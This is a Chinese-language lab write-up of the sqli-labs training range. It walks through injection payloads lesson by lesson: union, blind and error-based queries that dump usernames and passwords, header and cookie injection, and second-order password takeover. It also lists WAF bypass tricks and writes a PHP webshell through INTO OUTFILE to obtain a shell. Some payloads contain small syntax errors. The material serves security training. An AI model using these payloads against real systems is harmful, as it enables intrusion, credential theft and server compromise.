web靶场 --- sqli-labs

SQL注入的本质是用户输入的数据被当作代码执行

mysql语法:

查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema='security'

查列:select column_name from information_schema.columns where table_name='users'

查字段: select username, password from security.users

less-1

Less-1/?id=1'

查看是否有注入

web靶场 --- sqli-labs_第1张图片
Less-1/?id=1' or 1=2 --+

web靶场 --- sqli-labs_第2张图片
Less-1/?id=1' and 1=2 --+

web靶场 --- sqli-labs_第3张图片
确实存在SQL注入漏洞

Less-1/?id=1' order by 3 --+

查看有多少列

先使用Less-1/?id=1' order by 3 --+

web靶场 --- sqli-labs_第4张图片
再使用Less-1/?id=1' order by 4 --+

web靶场 --- sqli-labs_第5张图片
所以得到users表有3列

Less-1/?id=-1' union select 1,2,3 --+

查看哪些数据可以回显
web靶场 --- sqli-labs_第6张图片

Less-1/?id=-1' union select 1,2 database() --+

查看当前数据库

web靶场 --- sqli-labs_第7张图片

Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

查看所有的数据库

web靶场 --- sqli-labs_第8张图片
Less-1/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查看所有的表

web靶场 --- sqli-labs_第9张图片
Less-1/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+

查看列信息

web靶场 --- sqli-labs_第10张图片
Less-1/?id=-1' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users --+

直接可以得到所有的账号和密码,并且使用~符号进行分割。
web靶场 --- sqli-labs_第11张图片

less-2

Less-2/?id=1'

web靶场 --- sqli-labs_第12张图片
上一题包含单引号,本题没有单引号。

Less-2/?id=1 --+

less-3

Less-3/?id=1'

web靶场 --- sqli-labs_第13张图片

less-4

Less-4/?id=1'

web靶场 --- sqli-labs_第14张图片Less-4/?id=1") --+

基础知识:

1.left()函数:left(database(),1)='s'

left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0

2.regexp函数:select user() regexp 'r'

user()的结果是 root ,regexp为匹配 root 的正则表达式

3.like函数:select user() like 'ro%'

​ 匹配与regexp相似

4.substr(a,b,c) select substr() XXX

substr(a,b,c)从位置b开始,截取a字符串c位长度

5.ascii() 将某个字符串转化为 ascii 值

6.chr('数字') 或者是ord('字母') 使用python中的两个函数可以判断当前的ascii值是多少

对于 security 数据库:

select left(database(),1)='s';

前1位是否是s

select database() regexp 's';

匹配第一个字符是否是 s

select database() like 's%';

匹配第一个字符是否是 s

select substr((select database()),1.1)='s';

匹配第一个字符是否是 s

select substr((select database()),1,3)='sec;'

匹配前三个字符是否是 sec

select ascii(substr((select database()),1,1));

直接回显 115 或者是

select ascii(substr((select database()),1,1))>110;

如果大于 110,就会返回1,否则返回 0

less-5 bool型-1

Less-5/?id=1'

查看是否有注入

存在单引号

web靶场 --- sqli-labs_第15张图片Less-5/?id=1' order by 3 --+

查看有多少列

web靶场 --- sqli-labs_第16张图片Less-5/?id=1' order by 4 --+
web靶场 --- sqli-labs_第17张图片所有存在3列

Less-5/?id=1' and left((select database()),1)='s' --+
web靶场 --- sqli-labs_第18张图片判断第一位是否是s,然后使用burp进行爆破处理:

之后判断第二位left((select database()),2)='sa'特别麻烦,所以使用burp工具进行爆破处理。
web靶场 --- sqli-labs_第19张图片
右键,选择点击 Send to Intruder

先删除变量
web靶场 --- sqli-labs_第20张图片添加变量(选中变量,并添加)
web靶场 --- sqli-labs_第21张图片web靶场 --- sqli-labs_第22张图片添加线程
web靶场 --- sqli-labs_第23张图片
找与众不同的
web靶场 --- sqli-labs_第24张图片
得到第一位确实是字符s

判断第二个字符
web靶场 --- sqli-labs_第25张图片依次类推进行测试

完整注入流程(手动注入)

1.Less-5/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>100 --+

通过二分法猜解得到所有的库,其中 limit 1,1的第一个1和式子中最后一个1为可变参数。

2.Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_name = 'security' limit 1,1),1,1))>1 --+

再次通过二分法可猜解得到 security 下的所有表。其中可变参数同上

3.Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 1,1),1,1))>1 --+

通过二分法可猜解 users 内的字段。其中可变参数同上

4.Less-5/?id=1' and ascii(substr((select username from security.users limit 1,1),1,1))>1 --+

继续猜解即可得到字段内的值。

less-6

和less-5一样是布尔盲注。

Less-6/?id=1"

是双引号
web靶场 --- sqli-labs_第26张图片

补充知识

1.show variables like '%secure%';

​ 查看 secure-file-priv 当前的值,如果显示为NULL,则需要打开phpstudy\PHPTutorial\MySQL\my.ini文件,在其中加上一句:secure_file_priv="/"

2.一句话木马:php版本:

​ 其中 crow 是密码

3.into outfile写文件

​ 用法:select 'mysql is very good' into outfile 'test1.txt';

​ 文件位置:D:\phpstudy\PHPTutorial\MySQL\data

或者是select 'crow 666' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs\\Less-7\\test.txt';

文件位置:D:\phpStudy\PHPTutorial\WWW\sqli-labs\Less-7

注意事项:\\

less-7

同样是布尔盲注

Less-7/?id=1')) --+
web靶场 --- sqli-labs_第27张图片Less-7/?id=-1')) union select 1,2,'' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs\\Less-7\\test.php' --+

将一句话木马写入Less-7下的文件中
web靶场 --- sqli-labs_第28张图片然后使用蚁剑链接
web靶场 --- sqli-labs_第29张图片
进行链接
web靶场 --- sqli-labs_第30张图片
拿到shell
web靶场 --- sqli-labs_第31张图片

less-8

也是布尔盲注

Less-8/?id=1'

判断此时存在注入漏洞

Less-8/?id=1' order by 3 --+

当3改为4的时候,you are in … 消失,说明存在3列

Less-8/?id=1' and left((select database()),1)='s' --+

猜出来当前第一位是s

或者是使用:

Less-8/?id=1' and ascii(substr((select database()),1,1))>16 --+

此时是有回显的

Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>17 --+

先通过大于号或者小于号来判断数据库的第一个字母是哪一个,也可以使用

Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1)) = 115 --+

此时可以验证数据库中第五个数据库的第一个字母是s

Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 3,1)1,1))>11 -++

判断security是数据库中的第4个表中的数据的第一位是否大于11

Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1)1,1))>10 --+

同理,进行判断表中的字段,然后进行判断。可以得到 username,password

Less-8/?id=1' and ascii(substr((select username from security.users limit 0,1),1,1)) --+

同理进行判断,最后再使用password进行判断。

因为猜解速度较慢,可以配合 burp或者sqlmap的脚本来使用。

补充知识

if(condition,A,B)如果条件condition为true,则执行语句A,否则执行B

例如:select if(1>2,4,5);返回的结果是5。(如果是在mysql命令行中使用,首先要use xxx是数据库才行)

less-8 法二

采用时间盲注

Less-8/?id=1' and sleep(5) --+

使用延迟的方法判断是否存在注入漏洞。当然判断是否存在注入漏洞的方法很多。

Less-8/?id=1' and if(length(database())=8,1,sleep(5)) --+

当为8的时候很快加载,而为其他值的时候加载较慢(5s左右),那就说明此时数据库的长度就是8(security)

Less-8/?id=1' and if(ascii(substr((selectdatabase()),1,1))>113,1,sleep(5)) --+

如果当前数据库的第一个字母的ascii值大于113的时候,会立刻返回结果,否则执行5s。

Less-8/?id=1' and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>112,1,sleep(5)) --+

同理判断数据库中的第5个数据库的第一位的ascii的值是不是大于112(实际中是115),如果是的则速度返回,否则延时5s返回结果

其余步骤与法一基本类似,可以采用burp或者是sql盲注脚本使用

Less-9

Less-9/?id=1'

查看是否存在注入漏洞

web靶场 --- sqli-labs_第32张图片
Less/?id=1' order by 39999 -++

当使用 order by 的时候,此时无论如何都是回显 you are in … 所有无法使用 order by进行判断

Less-9/?id=1' and sleep(5) --+

当存在注入漏洞时,可以使用迟延注入进行判断,此时若存在漏洞,则睡眠5s之后再返回结果

Less-9/?id=1' and if(length(database())=8,1,sleep(5));

通过返回时间进行判断,此时如果数据长度为8,则可以较快返回。

Less-9/?id=1' and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1)1,1))>112,1,sleep(5)) --+

使用less-8中同样的方法进行判断即可!

因为盲注属于猜解,推荐使用脚本进行操作

Less-10

Less-10/?id=1"

查看是否存在注入漏洞
web靶场 --- sqli-labs_第33张图片和Less-9一样,采用时间盲注

Less-11

以下均为POST内容

POST内容:uname='&passwd=18返回的结果显示存在 sql 语法错误,证明存在注入漏洞。或者是直接在username中填写',password中随便写判断一下是否存在注入漏洞。

web靶场 --- sqli-labs_第34张图片

直接在username中填写admin' or 1=1#(此处不能使用--+,因为--+主要使用在url中,#是适用的)即:

uname=a' or 1=1# &passwd=a此时登录成功,可以验证存在注入漏洞。
web靶场 --- sqli-labs_第35张图片此时在 password 位置进行验证:

uname=a & passwd=a' or 1=1#

登录成功,开始构造

web靶场 --- sqli-labs_第36张图片

uname=a' order by 2 # & passwd=a或者uname=a & passwd=a' order by 2 #
web靶场 --- sqli-labs_第37张图片
当使用uname=a' order by 3 # & passwd=a,发生报错

web靶场 --- sqli-labs_第38张图片

因此得出一共有两列。

uname=a' union select 1,2 # & passwd=a

查看哪些数据可以回显

web靶场 --- sqli-labs_第39张图片

uname=a' union select 1,database() # & passwd=a

查询当前数据库

当前数据库为security

web靶场 --- sqli-labs_第40张图片
uname=a' union select 1,group_concat(schema_name) from information_schema.schemata # & passwd=a

查询所有数据库名

web靶场 --- sqli-labs_第41张图片
uname=a' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' # & passwd=a

查询security库中的所有表名
web靶场 --- sqli-labs_第42张图片

uname=a' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # & passwd=a

查询users表中所有的字段名(列名)

web靶场 --- sqli-labs_第43张图片

uname=a' union select 1,group_concat(concat_ws('~',username,password)) from security.users # & passwd=a

查询 users 表中的 username、password 中的数据

web靶场 --- sqli-labs_第44张图片

Less-12

首先进行尝试:uname=admin' & passwd=a此时只是显示登录失败,没有其他的回显,将'换为"

uname=admin" & passwd=a 此时有回显,显示有报错信息,通过报错信息,我们知道如何构造:")

uname=a") or 1=1 #& passwd=a

和Less-11类似,Less-11是' '包裹,Less-12是(" ")包裹

web靶场 --- sqli-labs_第45张图片

Less-13

uname=a') or 1=1 # & passwd=a

没有回显,只能显示登录成功,登录失败

web靶场 --- sqli-labs_第46张图片

所以是布尔盲注类型

uname=a') or if(ascii(substr((select database()),1,1))>150,1,sleep(5)) # & passwd=a

查询使用的数据库名

使用二分法,进行测试

可以使用burp进行爆破

uname=a') or if(ascii(substr((select table_name from information_schema.tables where table_schema='schema_name' limit 1,1),1,1))>96,1,sleep(5)) # & passwd=a

查询数据库中的表名

if(ascii(substr((select column_name from information_schema.columns where table_name='table_name' limit 1,1),1,1))>96,1,sleep(5))

查询表中的列名

Less-14

同样,Less-14和Less-13类似,都是布尔盲注

步骤相似

uname=a" or 1=1 # & passwd=a

可以判断出Less-14是" "双引号包裹

Less-15

同样Less-15也是布尔盲注

uname=a' or 1=1 # & passwd=a

是由' '单引号包裹着

Less-16

同样Less-16也是布尔盲注

uname=a") or 1=1 # & passwd=a

是由(" ")单引号包裹着

补充知识

UPDATEXML(XML document,XPath string,new value);

第一个参数:XML document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath string(Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程

第三个参数:new value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

改变XML document中符合XPATH string的值

而我们注入语句为:

select updatexml(1,concat('~',(select username from security .users limit 0,1),'~'),1);

其中的concat()函数是将其连接成一个字符串,因此不会符合XPATH string的格式,从而出现格式错误,报出

ERROR 1105 (HY000): XPATH syntax error: '~Dumb~'

格式:

and updatexml(1,concat('~',(构造语句),'~'),)

Less-17

报错注入

unamepasswd分开验证,而且在验证的时候对uname进行了过滤处理,将'进行了转义。

uname=admin' # & passwd=admin

web靶场 --- sqli-labs_第47张图片
uname=admin & passwd=admin' #

而没有对passwd进行过滤

web靶场 --- sqli-labs_第48张图片
首先我们要知道用户名的名字是多少,然后才可以进行接下来的操作。

uname=admin & passwd=adm' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~'),1) #

通过查询,可以得到security库下面的其中一个表名字

web靶场 --- sqli-labs_第49张图片
uname=admin & passwd=adm' and updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~'),1) #

通过查询,可以得到users表里面的列名

Less-18

User Agent注入

安装一个插件:ModHeader

uname=admin & passwd=admin

输入正确的用户名和密码,得到User Agent信息

web靶场 --- sqli-labs_第50张图片

输入错误的信息则没有

并且会对其进行过滤。

web靶场 --- sqli-labs_第51张图片
1.登录失败显示ip地址

2.登录成功显示ip地址和User-Agent

3.$insert="insert into 'security'.'uagents'('uagent','ip_address','username') values('$uagent','$ip',$uname)";

4.经分析,需要进行闭合操作,两种方法

'or updatexml(1,concat('~',(database())),1) and '1'='1

or updatexml(1,concat('~',(database())),1),",")#

'or updatexml(1,concat('~',(database())),1) and '1'='1

查询当前数据库

'or updatexml(1,concat('~',(select schema_name from information_schema.schemata limit 0,1)),1) and '1'='1

查询数据库名

'or updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1) and '1'='1

查询 security 数据库中的表

'or updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1)),1) and '1'='1

查询 users 表中的列名

'or updatexml(1,concat('~',(select username from security.users limit 0,1)),1) and '1'='1

查询 users 表中 username 列的数据

Less-19

Referer注入

1.登录成功显示的是Referer信息

2.登录失败是没有回显信息的

3.$insert ="insert into 'security'.'refers'('referer','ip_address') values('$uagent','$ip') ";

经分析后得知,需要进行闭合操作,两种方法:

'or updatexml(1,concat('~',(database())),1) and '1'=1

'or updatexml(1,concat('~',(database())),1),")#

步骤和Less-18类似

Less-20

登录成功后显示cookie
web靶场 --- sqli-labs_第52张图片

登录失败会显示失败信息

$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

在登录之后后台会将username放入cookie中,再次登录的时候,只要cookie没有过期,就会去cookie里面取值,然后进行查询。

使用Cookie Editor

' union select 1,2,database() #

查询当前数据库名

' union select 1,2,group_concat(schema_name) from information_schema.schemata #

查询数据库名

' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' #

查询数据库security中的表名

Less-21

登录成功,得到cookie信息

web靶场 --- sqli-labs_第53张图片

使用在线加密解密工具进行解密

web靶场 --- sqli-labs_第54张图片

-1') union select 1,2,database() #

得到注入点,并进行base64进行加密

web靶场 --- sqli-labs_第55张图片

和Less-20类似,Less-20是' '单引号包裹

Less-21是(' ')包裹,且cookie进行了base64加密

步骤类似

Less-22

和Less-21基本相同,唯一区别是:Less-21是(' ')包裹,而Less-22是" "双引号包裹

Less-23

法一

Less-23/?id=1显示的有信息

web靶场 --- sqli-labs_第56张图片
Less-23/?id=1'

显示错误信息

使用Less-23/?id=1' --+Less-23/?id=1'#都不行
web靶场 --- sqli-labs_第57张图片

查看源代码才发现使用了preg_replace函数

 preg_replace(
    string|array $pattern,
    string|array $replacement,
    string|array $subject,
    int $limit = -1,
    int &$count = null
): string|array|null

搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换。

limit

​ 每个模式在每个 subject 上进行替换的最大次数。默认是 -1(无限)。

count

​ 如果指定,将会被填充为完成的替换次数。

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

$id中的--+#替换成空格,过滤掉。

可以使用另外一种特殊的注释符,;%00通过这个注释符绕过

id=1' order by 3 ;%00

判断列数为3

id=-1' union select 1,2,3 ;%00

查看哪些数据可以回显

id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata ;%00

查看所有数据库名

id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' ;%00

查看security数据库中所有的表名

id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' ;%00

查看users表中所有的字段名 (列名)

id=-1' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users ;%00

查看users表中username,password字段的数据

法二

在url中构造:id=1' order by 10 or '1'='1已知这种构造是错误的,但是如何使用order by语句进行报错呢?

select * from users where id=1 and 1=1 order by 10;

在sql语句中,我们可以使用这种语法,原因是因为id=1 and 1=1作为where的条件,被执行之后得到结果,然后执行order by,因为结果中没有第10个字段所以报错了。在第二个查询语句中,order by在where的条件中,在where执行时被忽略了,得到结果之后并未再执行order by

对于Less-23,id=1' or '1'='1 order by 10对应的sql语句:select * from users where id='1' or '1'='1 order by 10' limit 0,1 我们知道

永远都不可能有报错的情况,所以对此,Less-23中建议使用union select 进行

id=-1' union select 1,2,3,4 and '1' ='1使用这样的,或者使用 or,这是因为这里的 and 或 or 作为了联合查询第二个语句的条件而不是第一个语句 where 的条件。

id=1' and '1'='1

使用 and 或者是 or 都可以

id=1' union select 1,2,3'

使用union select进行闭合,其中要在3的位置进行闭合操作,但是在页面上没有显示1,2,3

id=-1' union select 1,2,3'此时我们将前面的值进行报错,使得前面的值无法被查询到(也可以在id=1的位置上使用一个较大的数字都是可以的)。此时1我们看到2,3位置有回显,可以选择使用2,3位置继续进行注入

(使用-1或者是任意一个超出数据库中的数据均可)

web靶场 --- sqli-labs_第58张图片

法三

使用报错注入

id=1' and updatexml(1,concat('~',database()),1) or '1'='1

报错出正在使用的数据库

id=1' and updatexml(1,concat('~',(select schema_name from information_schema.schemata limit 2,1)),1) or '1'='1 查询所有的数据库,使用limit进行逐个查询。

Less-24

本题是二次注入,可以参考

https://www.jianshu.com/p/3fe7904683ac

https://www.cnblogs.com/cute-puli/p/11145758.html

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

二次注入,可以包括为以下两步:

第一步:插入恶意数据

进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

第二步:引用恶意数据

开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验处理。

例如:输入参数id=1' -> 传输转义 id=1\' -> 此时转义之后无法注入 -> 存入数据库为1' -> 再次取出直接闭合

注册新用户,用户名为admin'#,密码为123456
web靶场 --- sqli-labs_第59张图片

并登录

修改密码为147258

web靶场 --- sqli-labs_第60张图片

然后,退出并重新登录

用户名为admin,密码是147258

web靶场 --- sqli-labs_第61张图片
通过越权的方法将admin用户之前的密码进行了修改

SQL语句:

update users set password='$pass' where username='$username' and password='$curr_pass'

update users set password='123456' where username='admin'#' and password='$curr_pass'

update users set password='123456' where username='admin'

补充知识

SQL注入WAF绕过

Waf绕过可大致分为三类:1.白盒绕过 2.黑盒绕过 3.fuzz测试

白盒绕过

通过源代码分析,来进行绕过,例:Less-25(代码审计)

黑盒绕过

(1)架构层面绕过waf

1.寻找源网站绕过waf

主要针对的是云waf,找到源网站的真实地址,进行绕过,有点像CDN

2.通过同网段绕过waf防护

在一个网段中,可能经过的数据不会经过云waf,从而实现绕过。

(2)资源限制角度绕过waf

一般waf的执行需要优先考虑业务优先的原则,所以对于构造较大、超大数据包 可能不会进行检测,从而实现绕过waf

举例:get、post传参

(3)协议层面绕过waf

1.协议未覆盖绕过waf

比如由于业务需要,只对get型进行检测,post数据选择忽略

2.参数污染

index?id=1 & id=2 waf可能只对id=1进行检测

(4)规则层面的绕过waf

1.sql注释符绕过

(1)union/**/select我们将union select之间的空格使用注释符进行替换(适用于对union select之间的空格进行检测的情况)

(2)union/*abcd%0%32#*/select在注释符中间填充内容

(3)union/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbccccccccddddddddddddddeeeeeeeeeeeee%%%%%%%%%%%%%%%%%%%%*/select

(4)/*!union select*/内联注释 mysql特有

以上均采用select 1;进行测试成功

2.空白符绕过

(1) mysql空白符:%09; %0A; %0B; %0D; %20; %0C; %A0; /*XXX*/

(2)正则空白符:%09; %0A; %0B; %0D; %20;

%25其实就是百分号 %25A0就是空白符

3.函数分割符号

将一个函数进行分割concat()

%25其实就是百分号 %25A0就是空白符123

concat%2520()

concat/**/()

concat%250c()

concat%25a0()

4.浮点数词法解释

waf对于id=1可以进行检测,但是对于id=1E0id=1.0id=\N可能就无法检测

5.利用error-based进行sql注入(报错注入)

extractvalue(1,concat(0x5c,md5(3)));

updatexml(1,concat(0x5d,md(3)),1);

GeometryCollecion((select * from (select * from (select@@ version)f)x))

polygon((select * from(select name const(version(),1))x))

linestring()

multipoint()

multilinestring()

multipolygon()

6.MySQL特殊语法

select {x schema_name} from {x information_schema.schemata};

select {x 1};

7.大小写绕过

如果对关键字 and or union等进行了过滤,可以考虑使用大小写混合的方法

Or aNd UniOn

但是很多时候有函数会部分大小写进行过滤,这个时候我们可以考虑使用双写的方法

8.关键字重复

OORr

9.关键字替换

如果还是无法绕过,可以考虑替换的方法

and -> && or-> like可以替换 = <>等价于!=

fuzz测试

可以使用burpsuite配合手工进行测试,后期测试成功后再脚本进行处理

Less-25

id=1'

查看是否存在注入

web靶场 --- sqli-labs_第62张图片

并且下面会显示注入的信息

web靶场 --- sqli-labs_第63张图片

id=1' order by 3 --+

查询列数的大小

提示注入的信息变为

在这里插入图片描述
得知order被过滤,变为der

id=1' ORder by 3 --+

变为大写也无法绕过

id=1' OORrder by 3 --+

使用关键字重复便可以绕过
在这里插入图片描述id=-1' union select 1,2,3 --+

查看哪些数据可以回显

web靶场 --- sqli-labs_第64张图片

id=-1' union select 1,2,group_concat(schema_name) from infOORrmation_schema.schemata --+

查看所有数据库名

id=-1' union select 1,2,database() --+

查看当前使用的数据库名

id=-1' union select 1,2,group_concat(table_name) from infoORrmation_schema.tables where table_schema='security' --+

查看数据库security的所有表名

id=-1' union select 1,2,group_concat(column_name) from infoORrmation_schema.columns where table_name='users' --+

查看表users的所有列名(字段名)

id=-1' union select 1,2,group_concat(concat_ws('~',username,passwoORrd)) from security.users --+

查看表users中username,password的数据

Less-25a

id=1 --+

与Less-25 类似也是对or and进行过滤,Less-25是单引号包裹,Less-25a没有进行包裹

web靶场 --- sqli-labs_第65张图片

Less-26

查看源码

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

对注释进行了过滤,可以使用;%00绕过

过滤了空格,使用报错注入

id=1' || updatexml(1,concat('~',(database())),1) || '1'='1

查看当前使用的数据库
在这里插入图片描述
id=1' || updatexml(1,concat('~',(select (group_concat(concat_ws('~',username,passwoORrd))) from (security.users) where (id=1))),1) || '1'='1

得到第一组username,password的数据,通过修改where (id=2)来获取第二组数据,以此类推。

在这里插入图片描述将空格替换为编码字符

补充知识

绕开空格:

%09 TAB键(水平)

%0a 新建一行

%0c 新的一页

%0d return功能

%0b TAB键(垂直)

%a0 空格

在docker 搭建的环境中,可以使用%a0进行绕过。

使用docker安装sqli-labs

1.搜索sqli-labs:docker search sqli-labs

2.建立镜像:docker pull acgpiano/sqli-labs

3.查看存在的镜像:docker images

4.运行存在的镜像:docker run -dt --name ck_sqli-labs -del -p 666:80 --rm acgpiano/sqli-labs

参数解释:-dt后台运行;--name 命名;-p 80:80将后面的docker容器端口映射到前面的主机端口,--rm选项,这样在容器退出时就能够自动清理容器内部的文件系统

5.进入运行中的docker容器:docker exec -it ID /bin/bash

参考链接:https://www.cnblogs.com/blogs-1024/p/11128999.html

docker基础命令

docker ps查看正在运行的容器

docker ps -a查看所有容器

docker images列出本地镜像

docker start CONTAINER启动一个或多少已经被停止的容器

docker stop CONTAINER 停止一个运行中的容器

docker restart CONTAINER重启容器

docker rm CONTAINER删除容器

docker rmi IMAGE 删除镜像

restart docker 重启 docker

Less-27

id=1 有数据

id=1'此时报错,说明可能存在注入

id=1';%00

成功将单引号进行闭合掉,说明存在注入

id=1' %a0 order %a0 by %a0 3 ;%00

表格中的字段数据存在3列

id=1' %a0 union %a0 select %a0 1,2,3 ;%00

此时返回错误,查看一下源码

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}

union select大小写形式都进行了过滤

使用关键字 重复 进行绕过

id=9999' %a0 uniUNIONon %a0 seleSELECTct %a0 select %a0 1,2,3 ;%00

查看哪些数据可以回显
web靶场 --- sqli-labs_第66张图片

之后的操作相同

法二:使用报错注入

id=9999' %a0 || %a0 updatexml(1,concat('~',(SelEct %a0 group_concat(schema_name) %a0 from %a0 information_schema.schemata)),1) %a0 || %a0 '1'= '1

查看所有数据库名

报错语句格式updatexml(1,concat('~',语句),1)

因为报错注入使用concat得到的信息不全

所以使用limit语句一个个输出

id=9999' %a0 || %a0 updatexml(1,concat('~',(SelEct %a0 schema_name %a0 from %a0 information_schema.schemata %a0 limit %a0 3,1)),1) %a0 || %a0 '1'= '1

Less-27a

该题是" "双引号包裹

和Less-27相似

id=999" %a0 UniOn %a0 SeLEct %a0 1,2,3%a0 || %a0 "1"="1

查看哪些数据可以回显
web靶场 --- sqli-labs_第67张图片

id=999" %a0 UniOn %a0 SeLEct %a0 1,(SeLeCt %a0 group_concat(schema_name) %a0 from %a0 information_schema.schemata ),3 %a0 || %a0 "1"="1

查询所有数据库名

法二:时间盲注

id=1" %26%26 if(length(database())>5,1,sleep(5)) %26%26 %a0 "1"="1

注意:在句子后面不能使用 or,因为使用 or 的情况下,无论如何情况返回都会是真

id=999" || if(length(database())>5,1,sleep(5)) %26%26 %a0 "1"="1

A or B and D

在MySQL中,先判断A or B,判断结果为C,然后再判断 C and D

Less-28

id=1 有数据

id=1' 此时报错,说明可能存在注入

id=1' || '1'='1成功将单引号闭合

id=1' %a0 union %a0 select %a0 1,2,3 ;%00

这时却出现了错误

web靶场 --- sqli-labs_第68张图片

原来不单单是' '单引号包裹,应是(' ')包裹

id=999') %a0 union %a0 select %a0 1,2,3 || %a0 ('1')=('1

这样才正确
在这里插入图片描述

Less-28a

id=999') union %a0 select 1,2,3 --+

web靶场 --- sqli-labs_第69张图片

和Less-28类似

Less-29

Less-30

Less-31

补充知识

宽字节: GB2312、GBK、GB18030、BlIG5、Shift JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。中文、韩文、日文等均存在宽字节,英文默认都是一个字节。

在使用PHP连接MySQL的时候,当设置set character set client = gbk时会导致一个编码转换的问题。

例子:id=1'处理1\'进行编码1%5c%27 带入sql后id=\'and XXXX此时无法完成注入

id=1%df处理1%df\'进行编码1%df%5c%27带入sql后id=1进'and XXX此时存在宽字节注入漏洞

宽字节注入原理

GBK 占用两字节

ASCII占用一字节

PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。

大家都知道%df' 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\',其中\的十六进制是 %5C ,那么现在 %df\'=%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是,也就是说:%df\' = %df%5c%27=縗',有了单引号就好注入了。

转义对sql语句是没有影响的
web靶场 --- sqli-labs_第70张图片

Less-32

id=1 有数据

id=1'发现单引号'被过滤掉了

web靶场 --- sqli-labs_第71张图片

查看源码

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
    
    return $string;
}

id=1%df' --+成功绕过

id=-1%df' union select 1,2,3 --+

查看哪些数据发生回显

web靶场 --- sqli-labs_第72张图片

法二:

%5c代表的是\

此时构造:%5c %5c %5c %5c'

只要是我们能将返回的结果中对于单引号没有转义符进行处理即可

id=-1%aa%5c' union select 1,2,3 --+

Less-33

Less-32使用的是自定义的过滤,Less-33使用的是php中的addslashes()函数

作用:addalashes()函数返回在预定义字符之前添加反斜杠的字符串

法一:

直接使用宽字节的方法

id=1%df' --+

法二:

自定义闭合

id=1%aa%5c%27 --+

其余步骤与Less-32类似

Less-34

uname=admin&passwd=admin输入正确的密码和账号,返回正确信息

uname=ad&passwd=ad错误的密码和账号,返回登录失败

